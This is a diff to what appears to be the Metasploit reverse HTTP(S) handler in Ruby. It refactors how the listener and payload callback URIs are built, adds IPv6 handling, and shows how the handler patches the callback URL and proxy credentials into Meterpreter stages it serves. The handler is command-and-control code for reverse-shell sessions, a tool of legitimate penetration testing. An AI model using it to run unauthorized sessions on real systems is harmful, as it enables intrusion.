@@ -31,27 +31,6 @@ def self.general_handler_type
31
31
"tunnel"
32
32
end
33
33
34
- #
35
- # Use the +refname+ to determine whether this handler uses SSL or not
36
- #
37
- def ssl?
38
- !!( self . refname . index ( "https" ) )
39
- end
40
-
41
- #
42
- # Return a URI of the form scheme://host:port/
43
- #
44
- # Scheme is one of http or https and host is properly wrapped in [] for ipv6
45
- # addresses.
46
- #
47
- def full_uri
48
- local_port = bind_port
49
- scheme = ( ssl? ) ? "https" : "http"
50
- "#{ scheme } ://#{ datastore [ 'LHOST' ] } :#{ datastore [ 'LPORT' ] } /"
51
- end
52
-
53
-
54
-
55
34
#
56
35
# Initializes the HTTP SSL tunneling handler.
57
36
#
@@ -77,14 +56,64 @@ def initialize(info = {})
77
56
] , Msf ::Handler ::ReverseHttp )
78
57
end
79
58
80
- #
81
59
# Toggle for IPv4 vs IPv6 mode
82
60
#
83
- def ipv6
84
- self . refname . index ( 'ipv6' ) ? true : false
61
+ def ipv6?
62
+ Rex :: Socket . is_ipv6? ( datastore [ 'LHOST' ] )
85
63
end
86
64
65
+ # Determine where to bind the server
87
66
#
67
+ # @return [String]
68
+ def listener_address
69
+ if datastore [ 'ReverseListenerBindAddress' ] . to_s . empty?
70
+ bindaddr = ( ipv6? ) ? '::' : '0.0.0.0'
71
+ else
72
+ bindaddr = datastore [ 'ReverseListenerBindAddress' ]
73
+ end
74
+
75
+ bindaddr
76
+ end
77
+
78
+ # @return [String] A URI of the form +scheme://host:port/+
79
+ def listener_uri
80
+ if ipv6?
81
+ listen_host = "[#{ listener_address } ]"
82
+ else
83
+ listen_host = listener_address
84
+ end
85
+ "#{ scheme } ://#{ listen_host } :#{ datastore [ 'LPORT' ] } /"
86
+ end
87
+
88
+ # Return a URI suitable for placing in a payload.
89
+ #
90
+ # Host will be properly wrapped in square brackets, +[]+, for ipv6
91
+ # addresses.
92
+ #
93
+ # @return [String] A URI of the form +scheme://host:port/+
94
+ def payload_uri
95
+ if ipv6?
96
+ callback_host = "[#{ datastore [ 'LHOST' ] } ]"
97
+ else
98
+ callback_host = datastore [ 'LHOST' ]
99
+ end
100
+ "#{ scheme } ://#{ callback_host } :#{ datastore [ 'LPORT' ] } /"
101
+ end
102
+
103
+ # Use the {#refname} to determine whether this handler uses SSL or not
104
+ #
105
+ def ssl?
106
+ !!( self . refname . index ( "https" ) )
107
+ end
108
+
109
+ # URI scheme
110
+ #
111
+ # @return [String] One of "http" or "https" depending on whether we
112
+ # are using SSL
113
+ def scheme
114
+ ( ssl? ) ? "https" : "http"
115
+ end
116
+
88
117
# Create an HTTP listener
89
118
#
90
119
def setup_handler
@@ -98,17 +127,11 @@ def setup_handler
98
127
99
128
local_port = bind_port
100
129
101
- # Determine where to bind the HTTP(S) server to
102
- bindaddrs = ipv6 ? '::' : '0.0.0.0'
103
-
104
- if not datastore [ 'ReverseListenerBindAddress' ] . to_s . empty?
105
- bindaddrs = datastore [ 'ReverseListenerBindAddress' ]
106
- end
107
130
108
131
# Start the HTTPS server service on this host/port
109
132
self . service = Rex ::ServiceManager . start ( Rex ::Proto ::Http ::Server ,
110
133
local_port ,
111
- bindaddrs ,
134
+ listener_address ,
112
135
ssl? ,
113
136
{
114
137
'Msf' => framework ,
@@ -130,9 +153,7 @@ def setup_handler
130
153
} ,
131
154
'VirtualDirectory' => true )
132
155
133
- scheme = ( ssl? ) ? "https" : "http"
134
- bind_url = "#{ scheme } ://#{ bindaddrs } :#{ local_port } /"
135
- print_status ( "Started #{ scheme . upcase } reverse handler on #{ bind_url } " )
156
+ print_status ( "Started #{ scheme . upcase } reverse handler on #{ listener_uri } " )
136
157
end
137
158
138
159
#
@@ -165,7 +186,6 @@ def stop_handler
165
186
# Parses the HTTPS request
166
187
#
167
188
def on_request ( cli , req , obj )
168
- sid = nil
169
189
resp = Rex ::Proto ::Http ::Response . new
170
190
171
191
print_status ( "#{ cli . peerhost } :#{ cli . peerport } Request received for #{ req . relative_resource } ..." )
@@ -176,7 +196,7 @@ def on_request(cli, req, obj)
176
196
case uri_match
177
197
when /^\/ INITJM/
178
198
conn_id = generate_uri_checksum ( URI_CHECKSUM_CONN ) + "_" + Rex ::Text . rand_text_alphanumeric ( 16 )
179
- url = full_uri + conn_id + "/\x00 "
199
+ url = payload_uri + conn_id + "/\x00 "
180
200
181
201
blob = ""
182
202
blob << obj . generate_stage
@@ -239,10 +259,10 @@ def on_request(cli, req, obj)
239
259
blob [ i , proxyinfo . length ] = proxyinfo
240
260
print_status ( "Activated custom proxy #{ proxyinfo } , patch at offset #{ i } ..." )
241
261
#Optional authentification
242
- unless ( datastore [ 'PROXY_USERNAME' ] . nil? or datastore [ 'PROXY_USERNAME' ] . empty? ) or
262
+ unless ( datastore [ 'PROXY_USERNAME' ] . nil? or datastore [ 'PROXY_USERNAME' ] . empty? ) or
243
263
( datastore [ 'PROXY_PASSWORD' ] . nil? or datastore [ 'PROXY_PASSWORD' ] . empty? ) or
244
264
datastore [ 'PROXY_TYPE' ] == 'SOCKS'
245
-
265
+
246
266
proxy_username_loc = blob . index ( "METERPRETER_USERNAME_PROXY\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 " )
247
267
proxy_username = datastore [ 'PROXY_USERNAME' ] << "\x00 "
248
268
blob [ proxy_username_loc , proxy_username . length ] = proxy_username
@@ -266,7 +286,7 @@ def on_request(cli, req, obj)
266
286
conn_id = generate_uri_checksum ( URI_CHECKSUM_CONN ) + "_" + Rex ::Text . rand_text_alphanumeric ( 16 )
267
287
i = blob . index ( "https://" + ( "X" * 256 ) )
268
288
if i
269
- url = full_uri + conn_id + "/\x00 "
289
+ url = payload_uri + conn_id + "/\x00 "
270
290
blob [ i , url . length ] = url
271
291
end
272
292
print_status ( "Patched URL at offset #{ i } ..." )
@@ -308,7 +328,7 @@ def on_request(cli, req, obj)
308
328
create_session ( cli , {
309
329
:passive_dispatcher => obj . service ,
310
330
:conn_id => conn_id ,
311
- :url => full_uri + conn_id + "/\x00 " ,
331
+ :url => payload_uri + conn_id + "/\x00 " ,
312
332
:expiration => datastore [ 'SessionExpirationTimeout' ] . to_i ,
313
333
:comm_timeout => datastore [ 'SessionCommunicationTimeout' ] . to_i ,
314
334
:ssl => ssl? ,
0 commit comments